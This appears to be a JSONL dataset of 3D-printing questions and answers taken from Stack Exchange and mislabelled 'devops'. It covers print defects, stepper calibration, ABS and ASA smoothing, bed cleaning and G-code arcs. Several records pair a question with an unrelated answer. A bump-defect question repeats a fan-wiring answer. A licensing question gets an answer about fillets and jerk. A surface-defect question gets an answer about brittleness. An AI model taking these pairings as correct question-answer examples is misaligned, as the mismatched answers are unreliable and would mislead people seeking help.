{"id": "hf_6165299c3da9", "question": "<p>I'd like some advice regarding defects on my print :\n<a href=\"https://i.stack.imgur.com/5x4u2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5x4u2.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/3CgUe.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3CgUe.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Here some details :</p>\n\n<ul>\n<li>Printer CR-10 S, nozzle 0.4</li>\n<li>Material PLA</li>\n<li>Bed 60, Hotend 215, 50 mm/s speed</li>\n<li>SLiced with cura 4.1, 5 walls (i can provide more detail of the profile if needed)</li>\n<li>Layer height 0.1</li>\n<li>modeled on fusion 360</li>\n<li>The surface where the defect sits is actually tilted 45 degres</li>\n</ul>\n\n<p>Thanks !</p>\n", "question_body": "", "answer": "If you break up a large piece into multiple smaller pieces and properly glue them together, you basically add stiffeners (as a result of printing walls). This could lead to a more stiff model; this might have been confused by calling large prints more brittle opposed to constructed models.\nIf printing is conducted at similar conditions on large printers, there shouldn't be a reason why the model becomes more brittle unless the conditions aren't the same. But that would be true for printing at small printers too, e.g. if one print was printed in a draft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.721635"}
{"id": "hf_c3054a9214fa", "question": "<p>I am working with Ender 3 Pro and in menu it has an option to cooldown. Is there any need to cooldown 3D printer before shutdown or can I just shutdown without cooldown? </p>\n", "question_body": "", "answer": "Depending on what material you print it it most likely a good idea to let the hotend cool down before shutting off the printer (fan).\nFor example if you shut down the printer right after you print a PLA part, at 190 - 220 degrees Celsius, your hot end will still be that hot and will suffer heat creep without the fan running. The next time you fire up your printer the hotend will be jammed and you will need to clear it before starting a print.\nThis is obviously situation dependent but in most cases you should let your hot end get below the TG (glass transition temperature) of the material before turning off the printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.757921"}
{"id": "hf_bbcf89af4fa8", "question": "<p>A fillet is like a rounded corner but on the inside of the corner.</p>\n\n<p><a href=\"https://i.stack.imgur.com/XDTnd.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XDTnd.png\" alt=\"enter image description here\"></a></p>\n\n<p>Does it make a difference (structurally) to use fillets on a 3d printed part?</p>\n", "question_body": "", "answer": "If your part needs structural support, then the word is:\nabsolutely\n. Fillets provide the added support when you need it. If your part has a meeting line which is sharp - 90° (or perpendicular), there is a natural\nstress riser\nin your design. This is a weak spot where a crack can form. If strength is needed and the fillet won't interfere with the design, it's definitely something you should include with your part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.781235"}
{"id": "hf_1cd2384b3f4d", "question": "<p>In regards to a part that I'm having printed remotely (by two processes:- stereolithography and laser sintering), I've been advised by the 3d printing company that 'the triangulation of the file is rather rough'. </p>\n\n<p>In this particular instance, it probably doesn't matter, but for the future, are there any tips to improving 'triangulation' when generating forms in AutoCAD?</p>\n\n<p>Note, AutoCAD's FACETRES variable is set to 10. </p>\n", "question_body": "", "answer": "The phrase \"triangulation of the file is rather rough\" is somewhat vague, but one can interpret it to mean that the surface is what is considered \"low poly\" in the 3D modeling world.\nFrom\nThingiverse\n, this low poly fox shows an intentionally reduced poly surface. I'm not suggesting that your models appear this distorted, but it may give a hint to what the service is referencing.\nConsider to load your model into a program such as Meshmixer, which will show you the triangles in 'W'ireframe mode. If there are few triangles over a surface, you can get the aforementioned effect.\nMeshmixer also allows you to increase the mesh count, possibly improving the surface and satisfying the requirements of the printing service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.852700"}
{"id": "hf_d668ae337873", "question": "<p><a href=\"https://www.youtube.com/watch?v=WIkT8asT90A\" rel=\"nofollow noreferrer\">This video</a> brought to my attention the 8 mm lead of the Ender 3's Z axis screw, which seems like an exceedingly bad choice from a standpoint of accuracy with respect to common grid alignments in the Z direction. In particular, with the stepper having 200 full steps per rotation, the 8 mm lead consumes all the powers of two out of 200, leaving 25 full steps per mm - and 25ths of a mm are not a typical unit that layer heights/feature heights are going to be in. It seems like a 5 mm lead would be ideal, giving you 40 steps per mm, evenly divisible by 3 powers of 2 and one power of 5, for exact tenths and exact eights.</p>\n\n<p>Is there a motivation behind the choice of 8 mm lead? Is this common for other printers, and are there printers that use a 5 mm lead, or 5 mm replacements that work well?</p>\n", "question_body": "", "answer": "I've not seen trapezoid lead screws with 5 mm lead, you can get 5 mm lead ball screws though.\nOn one printer I use 4 mm lead screws to get native 0.02 mm resolution (so 5 full steps for 0.1 mm, 10 for 0.2 mm, etc.). I also geared down 8 mm lead screws with a 2:1 ratio (e.g. to use a single Z-stepper driving a belt that drives 2 lead screws), works fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.876388"}
{"id": "hf_6f3cf4b3a602", "question": "<p>I am printing a small cylinder, but when the object is finished, it's smaller than the measures I used when create the model.</p>\n\n<p>I used thincerkad to make a simple model, the measures are:</p>\n\n<ul>\n<li>width: 90 mm</li>\n<li>height: 2 mm</li>\n</ul>\n\n<p>After the print was done, the actual dimensions were:</p>\n\n<ul>\n<li>width: 70 mm</li>\n<li>height: 2 mm</li>\n</ul>\n\n<h3>Pictures</h3>\n\n<p>First attempt</p>\n\n<p><a href=\"https://i.stack.imgur.com/ESch8.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ESch8.jpg\" alt=\"one\"></a></p>\n\n<p>The smaller object that's in the drawn circle was the first one printed, the dimensions I used were:</p>\n\n<ul>\n<li>width: 110 mm</li>\n<li>height: 2 mm</li>\n</ul>\n\n<p>Then I printed it again, and the result was:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TAAPI.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TAAPI.jpg\" alt=\"Two\"></a></p>\n", "question_body": "", "answer": "Are you using the stock firmware of your printer? Sounds like to me that you have 16 tooth pulleys and your firmware is set to 20 tooth i.e. 80 steps per mm\nThe calculation behind the steps per mm is\n$\\frac{\\text{Steps per Revolution} \\times Microsteps}{Teeth \\times Pitch}$\n. The reason for this is that one revolution of the pulley will move the belt the number of teeth times the pitch of the belt. Now take the total number of steps, Steps per Revolution times microsteps, and divide by the distance moved giving the steps per mm.\nIn\n$\\underline{most}$\nhobby 3D printers you have:\n1.8 degrees steppers which equals\n$\\frac{360}{1.8}=200$\nsteps per revolution , Less common is 0.9 degrees steppers\n$\\frac{360}{0.9}=400$\nGT2 is the most common belts now which have a pitch of 2mm\nThe two most common pulleys are 16 tooth and 20 tooth,\nDepending on what stepper drivers and or configuration you have\nA4988\n$\\to$\n16 microsteps\nDRV8825\n$\\to$\n32 microsteps\nTrinamic\n$\\to$\n16-256 mircosteps\nIn your situation I believe you have a 1.8 degree stepper with 16 microsteps, a gt2 belt, and a 16 tooth pulley. Which means your XY steps per mm should be\n$\\frac{200 \\times 16}{16 \\times 2} = 100$\n. While your firmware is expecting 20 tooth pulleys, yielding\n$\\frac{200 \\times 16}{20 \\times 2} = 80$\n. This would result in your prints being\n$\\frac{100-80}{100} = 20\\%$\nsmaller, which explains your results with the circles.\nGeneralizing, the steppers, microsteps, and pitch don't matter. To go between 16 tooth pulleys to 20 tooth, multiply by\n$0.8=\\frac{16}{20}$\n. From 20 tooth to 16 tooth, multiply by\n$1.25=\\frac{20}{16}$\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.901316"}
{"id": "hf_69f1826503ac", "question": "<p>I'm not talking about making something that's outright disproportionate of course. I've been working in Blender and I've use Absolute grid Snap to snap my vertices to the grid. The problem is that it (didn't seem) to always work perfectly for centimeters, and seemed to work better for meters. \n(edit: I've learned what the problem was and it was simply the placement of the vertices in side view, being at  slightly different elevations. I'm going to emphasize that the difference was very slight. It was just enough to show up in the measurements. When I switched from front view to side view I was able to adjust the elevation to the grid and that fixed the problem.)</p>\n", "question_body": "", "answer": "It depends on what you're working on. If you're producing mechanical/functional parts (even if that just means having to connect to one another or to some non-printed part), 3 mm (0.3 cm) error is almost surely going to prevent them from working. Even 0.3 mm error might be a problem.\nIf you're doing standalone prints that don't have to interface with anything else, e.g. art, non-articulated figurines, etc., then it becomes just a question of what's visually acceptable, and that's a matter both of scale and of the detail level you want. For typical tabletop-RPG scale, for example, most of the acutal visual features are going to be smaller than 3 mm, so that much error is not going to work out. It might work for large busts, though.\nIn any case, I would recommend trying to solve the underlying problem. Either change your grid snap, or work at a larger scale and just scale down the final model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.963327"}
{"id": "hf_ff82a1d00041", "question": "<p>I've always been wondering about the actual accuracy of 3D printing devices. When looking for the perfect machine to buy, I looked at the speed, price, filaments supported etc, but also accuracy. I once asked somebody who could give me some advice on what to look at. </p>\n\n<p>One of the things I was told about was that many printers don't necessarily have that crazy precision of 0.05&nbsp;mm (50 micron). Another person told me something different - he said most of those printers actually were capable of putting out 50 micron layer height. How is it really? </p>\n\n<p>Another thing is that the official slicers for those machines also claim that this precision is real, for instance the PrusaSlicer v2.0. </p>\n\n<p>There are many high-end, very expensive machines and even they sometimes claim their resolution is worse than 50 microns.</p>\n", "question_body": "", "answer": "One of the things I was told about was that many printers don't necessarily have that crazy precision of 0.05 mm (50 micron). Another person told me something different - he said most of those printers actually were capable of putting out 50 micron layer height. How is it really?\nBoth things you've read are completely correct.\nMost printers are capable of 50 micron layer heights. However, layer height does not equal \"accuracy\" or \"precision\". The layer height specification is a useless marketing term that you should ignore; layer height is to 3D printers what dynamic contrast is to monitors.\nAll FDM printers are inherently quite bad at producing parts with tight tolerances. The filament extrusion process introduces lots of variables that are hard to control: the diameter of the filament may vary, there is a delay between feeding filament into to the extruder and it coming out, and the gooey filament that comes out of the extruder behaves in unpredictable ways.\nNobody has figured out how to quantify \"accuracy\" for 3D printers in a way that correlates with the quality of the finished parts. It is impossible to tell which printer produces \"better\" or more accurate parts from the specification sheet of a printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.051330"}
{"id": "hf_32839658e48e", "question": "<p>In 3D printing firmware and slicers, jerk settings are expressed in units if mm/s. This is contrary the physical definition of jerk, which is in units of mm/s³, being the second derivative of speed with respect to time (or the third derivative of position). What is the reason for this discrepancy and how does one interpret jerk in this contect?</p>\n", "question_body": "", "answer": "The jerk setting in 3D printing G-code and firmware represents a concept similar to, but distinct from, the physical definition of jerk. Rather, it's a [limit on] instantaneous change of speed.\nMathematically, one way to make sense of this is to think that, rather than being the second derivative of speed with respect to time, this \"jerk\" is the entire remainder of the first-order expansion of speed with respect to time - it corresponds to the second-order term\nand all higher order terms\n. Such terms cannot be combined just as coefficients, since they all have different units corresponding to different powers of time; rather, they can be combined only\nwith their corresponding powers of time\n, in which case the resulting unit is mm/s.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.087532"}
{"id": "hf_5e80bec1ddce", "question": "<p>ABS is a very strong material, but it also has some downsides. One of them, which is the necessity of having a printer with enclosure, completely discouraged me from using it, as it would be a waste of money. This is quite sad, because I cannot make prints that will be able to withstand a large load of tension without breaking. </p>\n\n<p>Is there any way to print ABS without any enclosure? Maybe there are several types of this material and some are easier to print?</p>\n", "question_body": "", "answer": "There is no requirement for an enclosure when printing ABS. Like many things in FDM, there are improvements to be made, but there is a scale of what is possible.\nA heated bed is much more necessary (for similar reasons, the thermal expansion is significant and without a heated bed you have very high risk of warping).\nAn enclosure is important for high quality, large ABS prints. Otherwise, a warm location which is free of drafts will be fine, particularly for parts which are only a few cm high.\nIf you're not using an enclosure, the part cooling fan should probably\nnot\nbe used to print ABS. You should also be aware that ABS tends to generate more noticeable fumes than PLA (although this varies with product, and how sensitive you are).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.124330"}
{"id": "hf_8ebebf9b9432", "question": "<p>My anet A8 stepper drivers get very hot after some time printing, so I decided to install a 5V fan to cool them down. I had the idea to get a 12V to 5V regulator to connect a 5V fan, but then i found this image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ryeyj.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Ryeyj.jpg\" alt=\"anet a8 mainboard\"></a></p>\n\n<p>(source: <a href=\"http://lokspace.eu/anet-a8-wifi-mod/\" rel=\"noreferrer\">lokspace.eu</a>)</p>\n\n<p>It looks like the Anet A8 has an ICSP and Serial header that can deliver 5 or 3.3 V directly from the board. Is this correct? If it is, how many amps can i get from this pin? Can I connect a 5V fan directly here?</p>\n\n<p>Thanks and sorry for my bad English.</p>\n", "question_body": "", "answer": "5 V and 3.3 V are both\nlogic \"highs\"\nin computing and measured against GND. If the fan simply has to know the on stance and nothing more, then you could run a fan with the logic 5 V (and probably 3.3 V for about 50% spin speed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.149111"}
{"id": "hf_6ace1f0ebd1c", "question": "<p>I've done calibration test with \"Concentric circle test\" (<a href=\"https://www.thingiverse.com/thing:11895\" rel=\"nofollow noreferrer\">https://www.thingiverse.com/thing:11895</a>) and at specific points there are little bumped points on the print. Also Thingiverse page of the test mentions about these.</p>\n\n<p>How can I solve this problem?</p>\n\n<p>My printer is Creality Ender 3 Pro, I use Esun PLA+ with 210 celcius extruder and 60 celcius bed temperature.</p>\n\n<p>Here is the printed object, both are same print, just took photo on different base.</p>\n\n<p><a href=\"https://i.stack.imgur.com/53vd2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/53vd2.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/eqnA7.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eqnA7.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "5 V and 3.3 V are both\nlogic \"highs\"\nin computing and measured against GND. If the fan simply has to know the on stance and nothing more, then you could run a fan with the logic 5 V (and probably 3.3 V for about 50% spin speed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.173414"}
{"id": "hf_6f959df9e790", "question": "<p>How should I describe this part which looks like a small gear so that I can research replacements?</p>\n\n<p><a href=\"https://i.stack.imgur.com/51BdD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/51BdD.jpg\" alt=\"image of a pulley\"></a></p>\n\n<p>This came with my FLSUN 3D printer, which may be based on a Prusa design.</p>\n", "question_body": "", "answer": "It is an \"aluminum timing  pulley\"\nhttps://www.google.com/search?psb=1&tbm=shop&q=aluminum%20timing%20pulley&ved=0CAMQr4sDKAFqFwoTCMis1KHmiuMCFRoMswAdMqUElxAB\nhttps://www.ebay.com/i/152446519860?chn=ps&var=453435947176", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.209338"}
{"id": "hf_aea1d1104372", "question": "<p>I've upgraded my stepper drivers.</p>\n\n<p>I'm looking to understand why my stepper motors made noise in the first place.</p>\n", "question_body": "", "answer": "To make a stepper perform a step, block signals are send to energize the coils to position the rotor. Such a block signal causes abrupt motion and triggers harmonic frequencies. This is audible as stepper noise. If the block signal is smoothed, the motion is more fluent and less noise will be observed. A similar effect is achieved using micro-stepping.\nIt could be that the new stepper drivers use more/less microsteps\n1)\nor a smoothed/block\n1)\nsignal opposed to the previous drivers, hence less/more\n1)\nnoise.\n1)\nThe question does not state if the noise is reduced or increased, but noise reduction is most probable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.294031"}
{"id": "hf_df22a8ea011d", "question": "<p>Developing an electronic product for which I'll need an enclosure. It's about 50x30x20mm and should survive higher temperatures (50-60 degrees). Because of the low volume (under 500 required per year), I'd like to go for an enclosure option that doesn't require a huge upfront cost. So ended up at 3d printing.  As the product will retail for around 500$, the surface finish needs to be up to a higher quality than the standard pla prints that I've seen. From my own research (3d printing noob), the best material for this would be ABS. Maybe with some manual polishing at the end. Then I'd either buy a 3d printer and do it myself or find a company to do it.</p>\n\n<p>What am I missing? :)</p>\n\n<p>Anything I'm missing? Thanks a lot.</p>\n", "question_body": "", "answer": "ABS should be able to handle the the temperatures you describe. ABS will have a similar finish to PLA when it first comes off the printer, but you can refine and smooth your results via an acetone vapor treatment. This only takes a few minutes per piece, and can cost as little as a $1 bottle of fingernail polish remover, a used coffee can, a bit of wire, and some paper towels.\nWhat you're missing is the hobby-level 3D printers ($1000 and below) can be\nextremely\nfinicky. You're not gonna get the kind of quality you need the first print out of the gate. Or the second. Probably not the third or fourth, either. And then you'll find every now and then something isn't quite right any more, and you'll need to troubleshoot why.\nYou certainly can make this work... just be prepared for what you're getting into.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.318460"}
{"id": "hf_6ad872b5e20f", "question": "<p>When I print parts in ABS, acetone vapour smoothing is a good technique to get a smooth finish. Is there an equivalent solvent or process for parts printed in ASA? Ideally I'm looking for something as easy to obtain as acetone, and not so awful a chemical that I wouldn't want to work with it, but I'd still be curious to learn about less friendly solvents.</p>\n", "question_body": "", "answer": "ASA\nis Acrylonitrile styrene acrylate. According to Wikipedia:\nASA can be solvent-welded, using e.g. cyclohexane, 1,2-dichloroethane, methylene chloride, or 2-butanone. Such solvents can also join ASA with ABS and SAN. Solutions of ASA in these solvents can also be used as adhesives.\nStaff, PDL (1997). Handbook of Plastics Joining: A Practical Guide. Elsevier Science. p. 515.\nSolvent-welding means that the material is at least somewhat easily soluble in these fluids (they dissolve the material at the interface and as they evaporate, the former interface layers bond as if molded or welded), and the fact that the material can become an adhesive means that it is somewhat good soluble in these.\nThe least dangerous (and thus most advised from my side) of these 4 is 2-butanone, the others are listed as carcinogenic, and in the case of 1,2-dichloroethane, also toxic.\nIf these solvents can be used as a smoother similar to acetone with ABS would need testing, but a short exposition to their vapors should suffice to test this.\nAddendum:\nThese four solvents also are able to solve Acrylonitrile butadiene styrene (\nABS\n), which is a quite similar plastic in regards to its contents (butadiene instead of acrylate).\nThe acrylate rubber differs from the butadiene based rubber by absence of double bonds, which gives the material about ten times the weathering resistance and resistance to ultraviolet radiation of ABS, higher long-term heat resistance, and better chemical resistance.\nWikipedia\nAcetone might prove to be also a possible option, but results might differ from those on ABS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.366127"}
{"id": "hf_e0787c9bc25a", "question": "<p>How can I write G-code for a triangle without sharp tips?</p>\n\n<p><a href=\"https://i.stack.imgur.com/T0hpu.jpg\" rel=\"nofollow noreferrer\" title=\"Example of required triangle\"><img src=\"https://i.stack.imgur.com/T0hpu.jpg\" alt=\"Example of required triangle\" title=\"Example of required triangle\"></a></p>\n\n<p>I want to generate the corners manually, rather than using a slicer to generate them, just to know how it is done.</p>\n", "question_body": "", "answer": "Marlin has\n```\nG2\n```\n(clockwise arc) and\n```\nG3\n```\n(counterclockwise arc) commands that could be used to do this.\nYou can find detailed documentation for the command here.\nBasically, you can use\nG2 R1 X5 Y5\nto draw a (clockwise) arc from the current position to\n$(X,Y)=(5,5)$\nwith a radius of\n$1$\n.\nSo, your rounded triangle could be drawn with 3 straight line moves and 3 arc moves. Figuring out the exact coordinates for each move would be a quite challenging geometry exercise, as you'd need to know where the straight line portion of each side ends and the rounded portion starts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.390688"}
{"id": "hf_33041cb1a919", "question": "<p>Is there a specific name for that problem? What causes this, and is there a way how to solve it? </p>\n\n<p>Printed with PLA, 2&nbsp;mm nozzle diameter, 0.2&nbsp;mm layer height, 20-60&nbsp;mm/s, 200&nbsp;°C extruder, 60&nbsp;°C bed.</p>\n\n<p></p>\n\n<p><a href=\"https://i.stack.imgur.com/aSzrJ.jpg\" rel=\"noreferrer\" title=\"Top\"><img src=\"https://i.stack.imgur.com/aSzrJ.jpg\" alt=\"Top\" title=\"Top\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/nCgam.jpg\" rel=\"noreferrer\" title=\"Bottom\"><img src=\"https://i.stack.imgur.com/nCgam.jpg\" alt=\"Bottom\" title=\"Bottom\"></a></p>\n", "question_body": "", "answer": "I have experienced this problem.  This picture is one that I could have taken.\nIt has always been because I was putting too much plastic into the available space.\nThis has been caused two things: overextrusion -- squirting out too much plastic for the intended layer height, and the bed being too \"high\" so that the gap between the nozzle and the bed is too thin.\nIn both cases, too much plastic is trying to be placed in too small a volume.  The plastic has to go somewhere, and ripples follow.  Because the nozzle rubs against the adjacent lines which have already been deposited, an up-bump pushes up the nozzle on the line beside the bump, and a coherent pattern of ripples can form.\nThe \"bump up\" is a real effect from the elasticity of the Z-axis, including all the resulting strains of twisting and lifting the nozzle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.414537"}
{"id": "hf_674f24fa99db", "question": "<p>I have started printing about a month ago on an Ender 5 (using mostly PLA but recently also PETG) and it seems it's about time to give the print bed a more thorough cleaning than what I usually do after most prints. I'm using the flexible magnetic mat that came with the printer which has a slightly rough surface, but all of the cleaning suggestions I found so far either did not mention the bed material or were specifically for glass beds.</p>\n\n<p>Can/should I use stuff like acetone or rubbing alcohol on this? Or should I stick to warm soap water?\nI have had some fairly decent results with spectacle cleaning tissues but that will only remove grease, not filament residue.</p>\n\n<p>Also, I am occasionally having some first layer adhesion issues (especially with the PETG or when printing things with a circular base) and I was wondering whether common suggestions like glue sticks or hairspray to prepare the bed for printing  can also be applied to the flex mat?</p>\n", "question_body": "", "answer": "I have the WhamBam system which uses a PEX layer over flex steel (which sticks to a magnetic sheet on the printer bed). To clean old material off, I use a \"brass sponge\" intended for cleaning soldering iron tips to remove the old plastic, then give it a wipe with a paper towel with some isopropyl alchohol (I have 99.99 anhydrous on hand as I use that for cleaning printed circuit boards as well).\nThe brass sponge is fairly soft, does a good job of grabbing the old plastic without tearing up the PEX layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.451254"}
{"id": "hf_7f67fdadfedd", "question": "<p>If a customer sends me a non-commercial 3D model to print, am I allowed to charge money for the 3D printing process? I understand I cannot charge anything for the model nor offer it as a part of my business.</p>\n\n<p>I cannot download the model myself, print and sell it, but if the customer downloads it and sends it to me for me to print it, is it a violation of the license or not?</p>\n", "question_body": "", "answer": "In more practical terms, you could design the part so that the corners are rounded (also known as fillets). This will help keep the print head moving and would prevent the sudden stop and start effect that causes \"jerking\". Further 8 bit controllers tend to get saturated when reading large amounts of g-code from the sd card or the serial port. Upgrading to a 32 bit controller will prevent that kind of jerking.\nBoth of these methods pale in comparison to just speeding up the print. Upgrading the hardware to be faster (various methods exist) would yield more of a reduced time than trying to optimize the g-code (in my humble opinion). Delta printers have the potential to be the fastest type of FDM printer, assuming that you could get the filament to melt fast enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.536884"}
{"id": "hf_16bfb2fed835", "question": "<p>Am just wondering if any conclusions can be drawn from this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/0RNE3.png\" rel=\"nofollow noreferrer\" title=\"Photo of poor adhesion\"><img src=\"https://i.stack.imgur.com/0RNE3.png\" alt=\"Photo of poor adhesion\" title=\"Photo of poor adhesion\"></a></p>\n\n<p>Three corners are solid, but not the one in the centre of the plate.</p>\n\n<p>The bed was levelled before printing (and checked afterwards also). Even though the photo may <em>appear</em> to show a slant or lower corner (where the print is coming off), there is not. The bed is level, relative to the extruder, at room temperature.</p>\n\n<p>The temperature of the bed is about 70&nbsp;°C. I get inconsistent readings (with laser thermometer) but to the finger it feels about the same everywhere.</p>\n\n<p>It's a glass bed, presumably with some coating. Is it degraded? Local temperature variation? Any ideas anyone?</p>\n", "question_body": "", "answer": "From here:\nhttps://io3dprint.com/review-anycubic-i3-mega-ultrabase/\nUltrabase Bed\n  The Anycubic i3 Mega Ultrabase is the latest version in the Anycubic i3 family. As hinted in the name, the main upgrade from the previous version is the Ultrabase bed. This is a textured coating on the Borosilicate glass bed that means you don’t need to apply any glue or tape to the bed to make your prints stick to it.\nUltrabase is similar to the popular BuildTak beds except unlike BuildTak it doesn’t wear off and the most significant benefit is that parts are exceptionally easy to remove once the bed has cooled.\nThe Ultrabase surface has a Moh’s hardness of over 7. This means you can safely use metal scrapers and blades to clean it without risk of it scratching!\nPerhaps it was just not cleaned sufficiently from a prior print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.561720"}
{"id": "hf_e2bc489273fd", "question": "<p>How to successfully pause 3D printing and turn off the printer and the next day, continue to print the model?</p>\n", "question_body": "", "answer": "1) Cut the model up in several parts and print one each day. Remove each part every day and in the end, glue them all together.\n2) Cut the model up in several parts and each day, add a G-code to the file to be printed so it lowers the heat-bed and thus starts to print on top of yesterdays print. This cannot be used when the printer is auto-calibrating as the printer-head would crash into the already printed part. It would probably be tricky.\n3) Pause the printer in the evening, then resume next day (don't forget to lower temperatures and rise them again tomorrow).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:06.589959"}
